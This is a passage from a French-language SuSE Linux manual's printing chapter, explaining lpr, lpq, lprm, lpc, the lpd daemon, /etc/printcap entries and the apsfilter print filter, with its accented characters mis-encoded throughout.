  21541.  
  21542.                            L'exΘcution d'un travail d'impression sous Linux se dΘroule en trois phases :
  21543.  
  21544.                              ~   Le fichier de donnΘes est copiΘ dans un rΘpertoire de la file d'impression
  21545.                                  et complΘtΘ par un fichier de contr⌠le pour devenir un travail (angl. job).
  21546.  
  21547.                              ~   Le fichier de donnΘes est envoyΘ, conformΘment au fichier de contr⌠le, α
  21548.                                  travers un filtre qui s'en sert pour Θlaborer toute une sΘrie d'instructions
  21549.                                  pour l'imprimante concernΘe. Cela signifie que le programme filtre gΘnΦre
  21550.                                  un  flot  de  donnΘes  dans  un  format  gΘrΘ  par  l'imprimante,  par  exemple
  21551.                                  PostScript, PCL, Esc/P2 etc. Cette conversion peut comporter plus d'une
  21552.                                  seule phase et sous SuSE     Linux elle est prise en charge par apsfilter  (pa-
  21553.                                  quetage aps). Voir plus loin paragraphe 12.3 page 339 et pages suivantes.
  21554.  
  21555.  
  21556. 334
  21557.        _________________________________________12.2.__Files_d'impression_:_fonctionnement_et_configuration________________________*
  21558.  *______________________
  21559.  
  21560.  
  21561.  
  21562.   ~   Le  fichier  spΘcifique  α  l'imprimante  sera  sorti  en  fonction  de  son  ordre
  21563.       d'entrΘe dans la file d'impression.
  21564.  
  21565.  
  21566. 12.2        Files d'impression : fonctionnement et configuration
  21567.  
  21568. Voyons maintenant par quelles Θtapes doit passer une requΩte d'impression
  21569. pour parvenir du fichier de l'utilisateur α l'imprimante et quels sont les pro-
  21570. grammes qui s'en occupent successivement.
  21571.  
  21572. Vous trouverez dans la page de man de lpr    (man  1  lpr      ), la page de man
  21573. de  lpd    (man  8  lpd      )  et  la  page  de  man  de  printcap        (man  5  printcap           )
  21574. bon nombre de dΘtails que nous ne pouvons pas Θvoquer ici pour ne pas trop
  21575. allonger ce chapitre.
  21576.  
  21577. La plupart du temps (ainsi que cela a ΘtΘ fait dans les pages de man mention-
  21578. nΘes ci-dessus), on dΘsigne pour faciliter les choses et parce que cela semble
  21579. logique α l'utilisateur, une file d'impression par ``nom d'imprimante'' ou plus
  21580. simplement encore par ``imprimante''. C'est ce que nous allons faire dans la
  21581. suite  de  ce  chapitre  bien  que  cela  ne  soit  pas  tout  α  fait  exact  sur  le  plan
  21582. technique.
  21583.  
  21584.  
  21585. lpr : └ la queue s'il vous plaεt !
  21586.  
  21587. lpr est ``l'interface utilisateur'' ordinaire qui communique avec les files d'im-
  21588. pression. En gΘnΘral, un travail d'impression est soumis par une simple com-
  21589. mande telle que
  21590.       tux@terre:  >  lpr  [-Pimprimante]  fichier_texte
  21591.  
  21592. Si vous avez omis l'option -P   (``Printer'' pour le nom de la file d'impression,
  21593. c'est-α-dire  le  nom  d'imprimante),  la  valeur  par  dΘfaut  sera  celle  contenue
  21594. dans la variable d'environnement PRINTER. Si celle-ci est vide, le nom stan-
  21595. dard traditionnel d'imprimante lp   sera utilisΘ. Ceci s'applique Θgalement α
  21596. lpq et lprm (voir plus bas).
  21597.        _______________________________________________________________________________________________________________________
  21598.        ||||||||  Entre l'option -P   et le nom d'imprimante imprimante         , il ne doit y avoir             ||             |
  21599.        ||||||||                                                                                                 ||             |
  21600.        ||||||||  aucun espace.                                                                                  ||             |
  21601.        ||||||||_______________________________________________________________________________________________________________||_
  21602.  
  21603. lpr vΘrifie, au moyen du fichier /etc/printcap, si la file d'impression spΘ-
  21604. cifiΘe existe bien. Si c'est le cas, il crΘe pour le travail d'impression un fichier
  21605. de contr⌠le (fichier cf) ainsi qu'une copie du fichier de donnΘes et les trans-
  21606. met au gestionnaire d'impression lpd  qui inclut le travail dans le rΘpertoire
  21607. de spool de la file d'impression.
  21608.  
  21609. Si vous avez de gros travaux d'impression α faire, il peut Ωtre utile, α la place
  21610. d'une copie de votre fichier de donnΘes, de faire crΘer dans le rΘpertoire de
  21611. spool un lien symbolique pointant sur celui-ci. L'option lpr -s  se charge de
  21612. cette opΘration. Vous devrez naturellement renoncer α tout accΦs en Θcriture α
  21613. ce fichier tant que le travail d'impression ne sera pas encore terminΘ !
  21614.  
  21615. lpr  vous permet, α l'aide d'une option complΘmentaire, de sΘlectionner ma-
  21616. nuellement un filtre dΘterminΘ (pilote d'imprimante) pour votre travail (ceci
  21617. devrait toutefois Ωtre rarement nΘcessaire). Pour plus de dΘtails, reportez-vous
  21618. α la page de man concernant lpr et au paragraphe 12.3 page 339 sur les filtres.
  21619.  
  21620.  
  21621.  
  21622.                                                                                                                                    *
  21623.  *   335
  21624. 12.  L'impression _________________________________________________________________________________________________________________*
  21625.  *_______________________________________@
  21626.  
  21627.  
  21628.  
  21629.                            Outils complΘmentaires et outils de contr⌠le pour l'utilisateur : Vue d'en-
  21630.                            semble
  21631.  
  21632.                            Pour gΘrer la file d'impression, il existe le joli programme graphique du pa-
  21633.                            quetage xlpq, sΘrie xap. Notez toutefois que les outils de ligne de commande
  21634.                            mentionnΘs par la suite peuvent faire encore plus grΓce α des options supplΘ-
  21635.                            mentaires.
  21636.                            ________________________________________________________________________________________________________*
  21637.  *________||
  21638.                            |  Les  manipulations  effectuΘes  dans  les  files  d'impression  requiΦrent  les                      *
  21639.  *        ||||
  21640.                            |                                                                                                       *
  21641.  *        |||
  21642.                            |  droits `root'. Cela signifie que vous devez travailler en tant que `root'                            *
  21643.  *        |||
  21644.                            |  si vous voulez, par exemple, effacer des requΩtes d'impression qui ne sont                           *
  21645.  *        |||
  21646.                            |                                                                                                       *
  21647.  *        |||
  21648.                            |  pas les v⌠tres.                                                                                      *
  21649.  *        |||
  21650.                            |_______________________________________________________________________________________________________*
  21651.  *________|||_
  21652.  
  21653.  
  21654.                              ~   lpq   montre α l'utilisateur ses travaux dans une file d'impression (option
  21655.                                  -P ), par exemple l'entrΘe
  21656.                                       tux@terre:  >  lpq  -Pimprimante
  21657.  
  21658.                                  donne le rΘsultat prΘsentΘ dans l'affichage 12.2.1.
  21659.  
  21660.                            ________________________________________________________________________________________________________*
  21661.  *________||
  21662.  
  21663.                            | imprimanteRaisnkreadyOwandneprintingr          Job   Files             Total  Size                    *
  21664.  *         |
  21665.                            |                                                                                                       *
  21666.  *         |
  21667.                            | active  tux     676   Hallo.txt      259420  bytes                                                    *
  21668.  *         |
  21669.                            | 1st      tux     677   lettre.dvi      11578  bytes                                                   *
  21670.  *         |
  21671.                            | 2nd      tux     683   image.gif        37464  bytes                                                  *
  21672.  *         |
  21673.                            |_______________________________________________________________________________________________________*
  21674.  *________ |
  21675.  
  21676.                                   affichage α l'Θcran 12.2.1: Exemple de sortie de la commande lpq   .
  21677.  
  21678.  
  21679.                              ~   lprm   annule  les  travaux  de  l'utilisateur  dans  la  file  d'impression,  par
  21680.                                  exemple, l'entrΘe
  21681.                                       tux@terre:  >  lprm  -Pimprimante  676
  21682.  
  21683.                                  donne le rΘsultat prΘsentΘ dans l'affichage 12.2.2.
  21684.  
  21685.                            ________________________________________________________________________________________________________*
  21686.  *________||
  21687.                            | dfA676Aa05005  dequeued                                                                               *
  21688.  *         |
  21689.                            | cfA676Aa05005  dequeued                                                                               *
  21690.  *         |
  21691.                            |_______________________________________________________________________________________________________*
  21692.  *________ |
  21693.  
  21694.                                  affichage α l'Θcran 12.2.2: Exemple de sortie de la commande lprm    .
  21695.  
  21696.  
  21697.                                  Si aucun numΘro de travail n'a ΘtΘ spΘcifiΘ, c'est le travail actuellement
  21698.                                  actif, s'il appartient α l'utilisateur, qui est supprimΘ de la file d'impression.
  21699.  
  21700.                              ~   lpc  (chemin  /usr/sbin/lpc)  contr⌠le  les  files  d'impression.  Pour  le
  21701.                                  nom  d'imprimante,  on  peut  aussi  spΘcifier  all    (=  toutes).  Les  options
  21702.                                  les plus importantes sont :
  21703.  
  21704.                                  ~   status  imprimante                   Donne   un   rapport   d'Θtat.   Si   la   mention
  21705.                                      imprimante          est omise, cela produit le mΩme rΘsultat que all   , c'est-
  21706.                                      α-dire rapport d'Θtat pour toutes les files d'impression.
  21707.  
  21708.                                  ~   disable  imprimante                   EmpΩche  l'entrΘe  de  tout  nouveau  travail
  21709.                                      dans la file d'impression.
  21710.  
  21711.                                  ~   enable  imprimante                 Autorise de nouveaux travaux α intΘgrer la file
  21712.                                      d'impression.
  21713.  
  21714.  
  21715. 336
  21716.        _________________________________________12.2.__Files_d'impression_:_fonctionnement_et_configuration________________________*
  21717.  *______________________
  21718.  
  21719.  
  21720.  
  21721.       ~   stop  imprimante                ArrΩte l'impression des travaux qui se trouvent
  21722.           dans la file d'impression (le travail en cours d'impression sera encore
  21723.           terminΘ).
  21724.  
  21725.       ~   start  imprimante                   Reprend   l'impression   des   travaux   qui   se
  21726.           trouvent dans la file d'impression.
  21727.  
  21728.       ~   down  imprimante                Donne le mΩme rΘsultat que disable       plus stop    .
  21729.  
  21730.       ~   up  imprimante              Donne le mΩme rΘsultat que enable       plus start     .
  21731.  
  21732.       ~   abort  imprimante                 Donne  le  mΩme  rΘsultat  que  down     avec  cette
  21733.           diffΘrence qu'un travail en cours d'impression est immΘdiatement ar-
  21734.           rΩtΘ. Les travaux restent cependant dans la file d'impression et peuvent
  21735.           continuer α Ωtre exΘcutΘs aprΦs un redΘmarrage de la file d'impression
  21736.           (up  ).
  21737.  
  21738.       Vous pouvez insΘrer ces commandes dans la ligne de commande de lpc
  21739.       (par exemple lpc  status        ). Ou vous pouvez appeler lpc   sans paramΦtre :
  21740.       ceci  provoquera  le  dΘmarrage  d'une  boεte  de  dialogue  avec  sa  propre
  21741.       invite lpc    qui requiert l'entrΘe de commandes lpc   . Avec quit     ou exit
  21742.       vous terminerez le dialogue.
  21743.        _______________________________________________________________________________________________________________________||
  21744.  
  21745.        ||||||||  Les requΩtes d'impression demeurent dans la file mΩme si au cours d'une                        |||            |
  21746.        ||||||||  procΘdure d'impression vous arrΩtez dΘlibΘrΘment votre machine pour rΘ-                        ||             |
  21747.        ||||||||                                                                                                 ||             |
  21748.        ||||||||  amorcer ensuite Linux ~ pour supprimer de la file d'impression une requΩte                     ||             |
  21749.        ||||||||  Θventuellement erronΘe, vous devez utiliser les commandes qui ont ΘtΘ prΘ-                     ||             |
  21750.        ||||||||                                                                                                 ||             |
  21751.        ||||||||  sentΘes plus haut.                                                                             ||             |
  21752.        ||||||||_______________________________________________________________________________________________________________||_
  21753.  
  21754.  
  21755. lpd : le gestionnaire d'impression en arriΦre-plan
  21756.  
  21757. Le lpd  (angl. Line Printer Daemon) est activΘ lors du dΘmarrage du systΦme
  21758. par le script /sbin/init.d/lpd si la variable START_LPD=yes             a ΘtΘ posi-
  21759. tionnΘe dans le fichier /etc/rc.config. Il tourne comme dΘmon en tΓche
  21760. de fond.
  21761.  
  21762. lpd  reconnaεt, α l'aide du fichier /etc/printcap, quelles files d'impression
  21763. (imprimantes)  sont  dΘfinies.  Sa  tΓche  consiste  α  organiser  l'exΘcution  des
  21764. travaux en attente.
  21765.  
  21766.  
  21767.   ~   il gΦre les files d'impression locales : il envoie le fichier de donnΘes de
  21768.       chaque travail α travers le filtre appropriΘ (dΘterminΘ par l'entrΘe de la file
  21769.       d'impression  dans  /etc/printcap  et  par  des  spΘcifications  explicites
  21770.       dans le fichier de contr⌠le du travail d'impression) et le passe ensuite α
  21771.       l'interface de l'imprimante ;
  21772.  
  21773.   ~   il tient compte de l'ordre de classement des travaux dans la file d'impres-
  21774.       sion ;
  21775.  
  21776.   ~   il  supervise  l'Θtat  des  files  d'impression  et  des  imprimantes  (fichier
  21777.       status dans les rΘpertoires de spool locaux) et fournit α la demande des
  21778.       informations α ce sujet ;
  21779.  
  21780.   ~   il transmet les travaux des files d'impression de machines distantes au lpd
  21781.       distant ;
  21782.  
  21783.  
  21784.                                                                                                                                    *
  21785.  *   337
  21786. 12.  L'impression _________________________________________________________________________________________________________________*
  21787.  *_______________________________________@
  21788.  
  21789.  
  21790.  
  21791.                              ~   il  reτoit  les  travaux  d'impression  de  machines  distantes  pour  les  files
  21792.                                  d'impression locales ou il les refuse si l'autorisation n'est pas suffisante.
  21793.  
  21794.                            Autorisation : Seules les requΩtes provenant d'h⌠tes distants (angl. remote)
  21795.                            listΘs dans le fichier /etc/hosts.lpd du ``serveur d'impression'' sont prises
  21796.                            en  compte.  Une  entrΘe  de  l'h⌠te  dans  /etc/hosts.equiv  est  aussi  suffi-
  21797.                            sante, mais cela influe dans une trΦs large mesure sur les possibilitΘs d'accΦs
  21798.                            de cet h⌠te α la machine locale et devrait si possible Ωtre ΘvitΘ pour des raisons
  21799.                            de sΘcuritΘ.   Voir le paragraphe 18.2.2 page 479 sur la sΘcuritΘ.   Des ajouts
  21800.                            dans  la  dΘfinition  de  la  file  d'impression  peuvent  restreindre  le  droit  d'ac-
  21801.                            cΦs aux seuls utilisateurs d'un groupe prΘcis ou aux utilisateurs possΘdant un
  21802.                            compte sur la machine locale.
  21803.  
  21804.  
  21805.                            Filtres : les bΩtes de somme
  21806.  
  21807.                            Les programmes filtres ont pour tΓche de convertir le fichier de donnΘes d'un
  21808.                            travail en un format gΘrΘ par l'imprimante (pour la configuration, voir para-
  21809.                            graphe 12.3 page ci-contre). Ce sont eux qui se taillent la part du lion dans le
  21810.                            traitement proprement dit du travail d'impression. Ils correspondent ainsi, de
  21811.                            par leur fonction, aux pilotes d'imprimantes sous d'autres systΦmes tels que
  21812.                            Windows ou OS/2. Outre cela, ils doivent, α la demande, tenir les comptes
  21813.                            des travaux d'impression (volume, consommation de matΘriel : : :).
  21814.  
  21815.  
  21816.                            /etc/printcap             : Configuration des files d'impression
  21817.  
  21818.                            Dans le fichier /etc/printcap, chaque file d'impression disponible est dΘ-
  21819.                            finie par une entrΘe. Le caractΦre de saut de ligne termine l'entrΘe : ceci peut
  21820.                            toutefois - pour les entrΘes longues - Ωtre invalidΘ par une barre oblique inver-
  21821.                            sΘe `\' placΘe immΘdiatement avant. L'entrΘe commence par un ou plusieurs
  21822.                            noms pour la file d'impression (barre verticale de sΘparation `|') suivis d'une
  21823.                            liste de spΘcifications de la forme1  abrΘviation          =<valeur> (caractΦres sΘ-
  21824.                            parateurs de listes `  :' ). Les lignes vides et celles qui commencent par le
  21825.                            caractΦre #  sont ignorΘes (commentaires).
  21826.  
  21827.                            Le fichier prΘinstallΘ /etc/printcap contient dΘjα un certain nombre d'en-
  21828.                            trΘes exemples (commentΘes). Une entrΘe toute simple sans aucun filtre res-
  21829.                            semble α celle du fichier 12.2.1.
  21830.                            ________________________________________________________________________________________________________*
  21831.  *________
  21832.                            | ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240                                         *
  21833.  *         |
  21834.                            |                                                                                                       *
  21835.  *         |
  21836.                            |_______________________________________________________________________________________________________*
  21837.  *________ |
  21838.  
  21839.                                     fichier 12.2.1: /etc/printcap             : simple file d'impression locale
  21840.  
  21841.  
  21842.                            Il peut Ωtre accΘdΘ α cette file d'impression sous le nom ascii et deskjet.
  21843.                            Votre  rΘpertoire  de  spool  est  /var/spool/lpd/ascii,  votre  pΘriphΘrique
  21844.                            d'impression /dev/lp0. Elle ne donne pas de pages d'en-tΩte au dΘbut des
  21845.                            travaux (sh   signifie ``suppress header'') et accepte des travaux d'impression
  21846.                            pouvant atteindre 10240 Ko. Vous trouverez un exemple de file d'impression
  21847.                            sur une machine distante dans le fichier 12.2.2 page ci-contre. Pour la confi-
  21848.                            _____________________________________________1
  21849.                               Toutes les abrΘviations ainsi que leur signification sont ΘnumΘrΘes dans la page de man de
  21850.                            printcap     (man  printcap      ).
  21851.  
  21852.  
  21853. 338
  21854.        ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
  21855.  *______________________
  21856.  
  21857.  
  21858.  
  21859. guration, voir paragraphe 12.4 page 346 et pages suivantes.2
  21860.        _______________________________________________________________________________________________________________________||
  21861.  
  21862.        |||||||| lp1|HP-4P:\                                                                                                    |
  21863.        ||||||||               :rm=soleil.cosmos.univers:\                                                                      |
  21864.        ||||||||                                                                                                                |
  21865.        ||||||||               :rp=HP:\                                                                                         |
  21866.        ||||||||               :sd=/var/spool/lpd/lp1:\                                                                         |
  21867.        ||||||||               :mx#0:sh                                                                                         |
  21868.        ||||||||_______________________________________________________________________________________________________________ |
  21869.  
  21870.         fichier 12.2.2: /etc/printcap             : simple file d'impression distante
  21871.  
  21872.  
  21873. La file d'impression a les noms lp1    et HP-4P     . Au lieu de spΘcifier le pΘri-
  21874. phΘrique (lp=   ) on fait ici rΘfΘrence α l'h⌠te soleil.cosmos.univers et α
  21875. sa file d'impression. Les spΘcifications concernant les filtres ne sont pas nΘ-
  21876. cessaires - ceci incombe α la file d'impression sur soleil.cosmos.univers.
  21877. En consΘquence, il n'a ΘtΘ dΘfini ici que le rΘpertoire de spool /var/spool/
  21878. lpd/lp1 et la restriction concernant la taille des travaux (mx#0     signifie : au-
  21879. cune restriction).
  21880.  
  21881. Si vous utilisez apsfilter , les nouvelles files d'impression nΘcessaires seront
  21882. enregistrΘes automatiquement, lors de la configuration, dans le fichier /etc/
  21883. printcap. Plus de dΘtails au paragraphe 12.3 page 341.
  21884.  
  21885.  
  21886.  
  21887. 12.3        Filtres d'impression
  21888.  
  21889.  
  21890. Que sont les filtres d'impression et comment fonctionnent-ils ?
  21891.  
  21892. Comme  nous  l'avons  dit  prΘcΘdemment,  la  tΓche  d'un  filtre  d'impression
  21893. consiste α convertir le fichier de donnΘes d'un travail en un format gΘrΘ par
  21894. l'imprimante utilisΘe.
  21895.  
  21896. Les seules informations complΘmentaires qu'un filtre reτoit, lors de l'appel
  21897. par lpd , concernent la taille du papier, le nom de login et l'h⌠te de l'utilisateur
  21898. qui  soumet  le  travail  ainsi  que  le  nom  du  fichier  de  comptabilitΘ.  En  tant
  21899. que vΘritable filtre UNIX, il reτoit le fichier de donnΘes par l'entrΘe standard
  21900. (stdin) et doit fournir le rΘsultat imprimable par la sortie standard (stdout).
  21901.  
  21902. Pour  la  conversion,  le  filtre  doit  naturellement  savoir  quel  est  le  format  de
  21903. fichier  des  donnΘes  (ASCII-Text,  DVI,  PostScript  etc.).  Il  existe  plusieurs
  21904. moyens d'y parvenir.
  21905.  
  21906.  
  21907.   ~   Le  filtre  est  assez  ``intelligent''  pour  reconnaεtre,  α  l'aide  des  donnΘes,
  21908.       de  quel  format  il  s'agit.  Il  est  composΘ  d'un  ``prΘfiltre''  pour  la  recon-
  21909.       naissance  du  format  et  de  plusieurs  autres  programmes  qui  rΘalisent  la
  21910.       conversion proprement dite.
  21911.  
  21912.       Ceci constitue ~ grosso modo ~ la tΓche du programme apsfilter qui, sous
  21913.       SuSE     Linux, est prΘvu de faτon standard pour l'installation.
  21914.  
  21915.   ~   DiffΘrents  filtres  pour  diffΘrents  formats  de  fichiers.  Les  filtres  sont  as-
  21916.       signΘs α la file d'impression par une entrΘe dans /etc/printcap. C'est
  21917. 2      ____________________________________________________
  21918.    Les barres obliques inversΘes `\' qui prΘcΘdent immΘdiatement la coupure de ligne ``camou-
  21919. flent'' cette derniΦre ~ exactement comme lors de l'entrΘe des commandes de shell ~ de telle sorte
  21920. que l'entrΘe est considΘrΘe ne comporter qu'une seule ligne.
  21921.  
  21922.  
  21923.                                                                                                                                    *
  21924.  *   339
  21925. 12.  L'impression _________________________________________________________________________________________________________________*
  21926.  *_______________________________________@
  21927.  
  21928.  
  21929.  
  21930.                                  l'utilisateur qui fait le choix par une option complΘmentaire lors de l'appel
  21931.                                  de lpr . Huit possibilitΘs sont prΘvues :
  21932.                                  __EntrΘe_printcap__|____________if=_____cf=_______df=______gf=_______nf=______rf=______tf=_____vf=*
  21933.  *______
  21934.                                    Option lpr             |               -c       -d        -g       -n        -f      -t       -v
  21935.  
  21936.                                  Ces options sont traditionnellement3  assignΘes α des formats tout α fait
  21937.                                  particuliers  de  fichiers  (ce  n'est  que  l'assignation  de  l'option  lpr  pour
  21938.                                  l'entrΘe  du  filtre  qui  est  obligatoire  et  non  la  tradition4 ).  Par  exemple,
  21939.                                  if=   dΘsigne le filtre standard et df=    le filtre pour fichiers DVI (sortie de
  21940.                                  TEX etALTEX). Vous pourriez ainsi, avec l'entrΘe que vous voyez dans le
  21941.                                  fichier 12.3.1, fournir α la HP LaserJet 4 un propre filtre DVI si le paque-
  21942.                                  tage te_dvilj est installΘ (il est cependant recommandable aujourd'hui,
  21943.                                  mΩme avec cette imprimante, de donner la prΘfΘrence au ``pilote'' ljet4     ).
  21944.  
  21945.                            ________________________________________________________________________________________________________*
  21946.  *________
  21947.                            | df="/usr/bin/dvilj4  -e-  -"                                                                          *
  21948.  *         |
  21949.                            |_______________________________________________________________________________________________________*
  21950.  *________ |
  21951.  
  21952.                                         fichier 12.3.1: EntrΘe d'un filtre DVI dans /etc/printcap
  21953.  
  21954.  
  21955.  
  21956.                            apsfilter
  21957.  
  21958.                            Avec  apsfilter,  le  paquetage  aps  met  α  votre  disposition  un  filtre  trΦs  com-
  21959.                            mode. apsfilter tire profit des circonstances suivantes :
  21960.  
  21961.  
  21962.                              ~   Le format standard utilisΘ dans le monde Unix pour donnΘes imprimables
  21963.                                  est PostScript.
  21964.  
  21965.                              ~   Il  existe  toute  une  sΘrie  d'outils  qui  convertissent  les  autres  formats  de
  21966.                                  fichiers texte et fichiers image, par exemple dvips  pour les fichiers DVI,
  21967.                                  a2ps  pour  les  fichiers  ASCII,  le  paquetage  netpbm,  sΘrie  gra  pour  les
  21968.                                  donnΘes graphiques, etc.
  21969.  
  21970.                              ~   Il existe Θgalement le puissant programme Ghostscript  qui est capable de
  21971.                                  convertir des fichiers PostScript vers un grand nombre de formats gΘrΘs
  21972.                                  par les imprimantes non PostScript (en quelque sorte une vaste collection
  21973.                                  de pilotes d'imprimantes).
  21974.  
  21975.  
  21976.                            apsfilter  regroupe,  dans  une  mΩme  gestion,  tous  ces  programmes  avec  les
  21977.                            outils nΘcessaires pour la reconnaissance du format (file ) et la dΘcompression.
  21978.                            Il dirige les donnΘes entrΘes, en tenant compte du format qui a ΘtΘ reconnu, au
  21979.                            travers de chacun des outils nΘcessaires jusqu'α la sortie sur le pΘriphΘrique
  21980.                            d'impression.
  21981.  
  21982.                            Dans  /var/lib/apsfilter/apsfilter  qui  est  le  script  de  commandes
  21983.                            (shell-script) central, il est fait mention des formats de fichiers et des types
  21984.                            de compression supportΘs :
  21985.  
  21986.                              ~   ASCII,  DVI,  PS,  Data  (PCL,  : : :),  GIF,  TIFF,  PBM,  Sun  Raster,  X11-
  21987.                                  Bitmap
  21988.  
  21989.                              ~   Types de compression : compress       , gzip    , freeze
  21990.                            _____________________________________________3
  21991.                              voir la page de man concernant lpr.
  21992.                            4  Ainsi, par exemple, l'entrΘe d'un ``filtre zΘro'' cf=/bin/cat       est tout α fait admissible et elle
  21993.                            sera utilisΘe si vous lancez la commande lpr  -c
  21994.  
  21995.  
  21996. 340
  21997.        ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
  21998.  *______________________
  21999.  
  22000.  
  22001.  
  22002. Les files d'impression d'apsfilter
  22003. Le programme apsfilter  propose pour une imprimante locale les files d'im-
  22004.  
  22005. pression suivantes (noms d'imprimantes) :
  22006.  
  22007. lp    File d'impression standard pour tous les formats de fichiers.
  22008.  
  22009. lp-mono         Seulement pour imprimantes couleur. Imprime en noir et blanc, α
  22010.       part cela, identique α lp   : pour tous les formats de fichiers.
  22011.  
  22012. ascii       Pour l'impression de fichiers comme fichiers texte ASCII, mΩme si le
  22013.       systΦme de spool suppose qu'il s'agit d'un autre format5 .
  22014.  
  22015. raw     Pour l'impression de fichiers qui sont dΘjα d'un format gΘrΘ par l'impri-
  22016.       mante : il n'y a alors (pratiquement) aucune conversion.
  22017.  
  22018. Vous  pouvez  aussi  configurer  plusieurs  autres  imprimantes  locales.  Les
  22019. noms  des  files  d'impression  comprennent,  pour  faire  la  distinction,  le  nom
  22020. du  pilote  d'imprimante  Ghotscript  correspondant,  par  exemple  djet500      ,
  22021. djet500-ascii            , djet500-raw           etc.
  22022.  
  22023. Fichiers  ASCII  :   Dans  le  fichier  /etc/apsfilterrc               la  configuration  par
  22024. dΘfaut pour le filtrage est la suivante :
  22025.  
  22026.   ~   Conversion de fichiers ASCII vers PostScript avec a2ps
  22027.  
  22028.   ~   Format a2ps : 2 pages ASCII l'une α c⌠tΘ de l'autre en format horizontal
  22029.       sur une page imprimΘe.
  22030.  
  22031. Vous pouvez modifier le format en attribuant α la variable FEATURE une autre
  22032. des valeurs qui sont proposΘes dans le commentaire. Si vous voulez absolu-
  22033. ment Θviter la conversion vers PostScript et imprimer dans le mode ASCII de
  22034. l'imprimante, supprimez le signe de commentaire #  au dΘbut de la ligne de
  22035. commande  USE_RECODE_NOT_A2PS=yes                      et  assurez-vous  que  le  paquetage
  22036. recode, sΘrie ap est installΘ.
  22037.  
  22038.  
  22039. apsfilter : configuration
  22040.  
  22041. apsfilter  peut  Ωtre  configurΘ  avec  YaST  ou  avec  son  propre  script  SETUP
  22042. (lprsetup        ) pilotΘ par menu.
  22043.        _______________________________________________________________________________________________________________________||
  22044.        ||||||||  La  configuration  ne  fonctionne  vraiment  bien  que  si,  dans  le  fichier                 |||            |
  22045.        ||||||||  /etc/printcap, les identifiants commentΘs au dΘbut et α la fin des en-                         ||             |
  22046.        ||||||||                                                                                                 ||             |
  22047.        ||||||||  trΘes apsfilter ne sont pas modifiΘs (voir fichier 12.3.2 page suivante) !                     ||             |
  22048.        ||||||||_______________________________________________________________________________________________________________||_
  22049.  
  22050. Configuration avec YaST
  22051.  
  22052. C'est  la  mΘthode  normale  pour  la  mise  en  place  d'une  imprimante  locale.
  22053. S'il  existe  dΘjα  une  configuration  apsfilter ,  YaST  demande  au  dΘbut  si  la
  22054. nouvelle configuration doit remplacer l'ancienne ou si elle doit y Ωtre ajoutΘe.
  22055. Le  dΘroulement  de  la  procΘdure  a  dΘjα  ΘtΘ  dΘcrit  dans  le  paragraphe  3.6.1
  22056. page 101 relatif α YaST .
  22057.  
  22058. Si  vous  faites  installer  votre  nouvelle  configuration,  il  se  passera  alors  ce
  22059. qui suit (que vous ayez dΘfini la configuration avec YaST  ou avec SETUP
  22060. (lprsetup        )) :
  22061. 5      ____________________________________________________
  22062.   En prΘsence, par exemple, de caractΦres accentuΘs
  22063.  
  22064.  
  22065.                                                                                                                                    *
  22066.  *   341
  22067. 12.  L'impression _________________________________________________________________________________________________________________*
  22068.  *_______________________________________@
  22069.  
  22070.  
  22071.  
  22072.                              ~   EntrΘe des nouvelles files d'impression dans /etc/printcap (voir page
  22073.                                  prΘcΘdente).
  22074.  
  22075.                              ~   CrΘation d'un rΘpertoire de spool sous /var/spool/lpd/.
  22076.  
  22077.                              ~   CrΘation des filtres d'impression appropriΘs sous /var/lib/apsfilter/
  22078.                                  bin/(il   s'agit   ici   de   liens   symboliques   sur   le   fichier   /var/lib/
  22079.                                  apsfilter/apsfilter).
  22080.  
  22081.                              ~   CrΘation  du  fichier  global  de  configuration  /etc/apsfilterrc  (s'il
  22082.                                  n'existe  pas  dΘjα)  et  d'un  fichier  de  configuration  spΘcifique  α  l'impri-
  22083.                                  mante  /etc/apsfilterrc.<gs_mode>                         .  Ici,  <gs`mode>  est  le  nom
  22084.                                  de  l'imprimante  Ghostscript,  tel  que  bjc800       dans  l'exemple  qui  va
  22085.                                  suivre.
  22086.  
  22087.  
  22088.                            Un exemple pour les entrΘes de nouvelles files d'impression vous est prΘsentΘ
  22089.                            dans|le fichier 12.3.2, pour l'imprimante Canon BubbleJet800.                                           *
  22090.  *         |
  22091.  
  22092.                            ________________________________________________________________________________________________________*
  22093.  *________||||
  22094.                            | ###  BEGIN  apsfilter:  ###  bjc800  a4  mono  360  ###                                               *
  22095.  *         |
  22096.                            | #     Warning:  Configured  for  apsfilter,  do  not  edit  the  labels!                              *
  22097.  *         |
  22098.                            | #                     apsfilter  setup  Thu  Sep  18  11:40:40  MEST  1997                            *
  22099.  *         |
  22100.                            |                                                                                                       *
  22101.  *         |
  22102.                            | #                                                                                                     *
  22103.  *         |
  22104.                            | ascii|lp1|bjc800-a4-ascii-mono-360|bjc800  a4  ascii  mono  360:\                                     *
  22105.  *         |
  22106.                            |                                                                                                       *
  22107.  *         |
  22108.                            |               :lp=/dev/lp0:\                                                                          *
  22109.  *         |
  22110.                            |               :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\                                           *
  22111.  *         |
  22112.                            |                                                                                                       *
  22113.  *         |
  22114.                            |               :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\                                       *
  22115.  *         |
  22116.                            |               :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\                                      *
  22117.  *         |
  22118.                            |                                                                                                       *
  22119.  *         |
  22120.                            |               :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\                                   *
  22121.  *         |
  22122.                            |               :la@:mx#0:\                                                                             *
  22123.  *         |
  22124.                            |                                                                                                       *
  22125.  *         |
  22126.                            |               :sh:sf:                                                                                 *
  22127.  *         |
  22128.                            | #                                                                                                     *
  22129.  *         |
  22130.                            |                                                                                                       *
  22131.  *         |
  22132.                            | lp|lp2|bjc800-a4-auto-mono-360|bjc800  a4  auto  mono  360:\                                          *
  22133.  *         |
  22134.                            | #     [  ...  abrΘgΘ  ...  ]                                                                          *
  22135.  *         |
  22136.                            | #                                                                                                     *
  22137.  *         |
  22138.                            |                                                                                                       *
  22139.  *         |
  22140.                            | raw|lp3|bjc800-a4-raw|bjc800  a4  raw:\                                                               *
  22141.  *         |
  22142.                            | #     [  ...  abrΘgΘ  ...  ]                                                                          *
  22143.  *         |
  22144.                            |                                                                                                       *
  22145.  *         |
  22146.                            | #                                                                                                     *
  22147.  *         |
  22148.                            | #                                                                                                     *
  22149.  *         |
  22150.                            |                                                                                                       *
  22151.  *         |
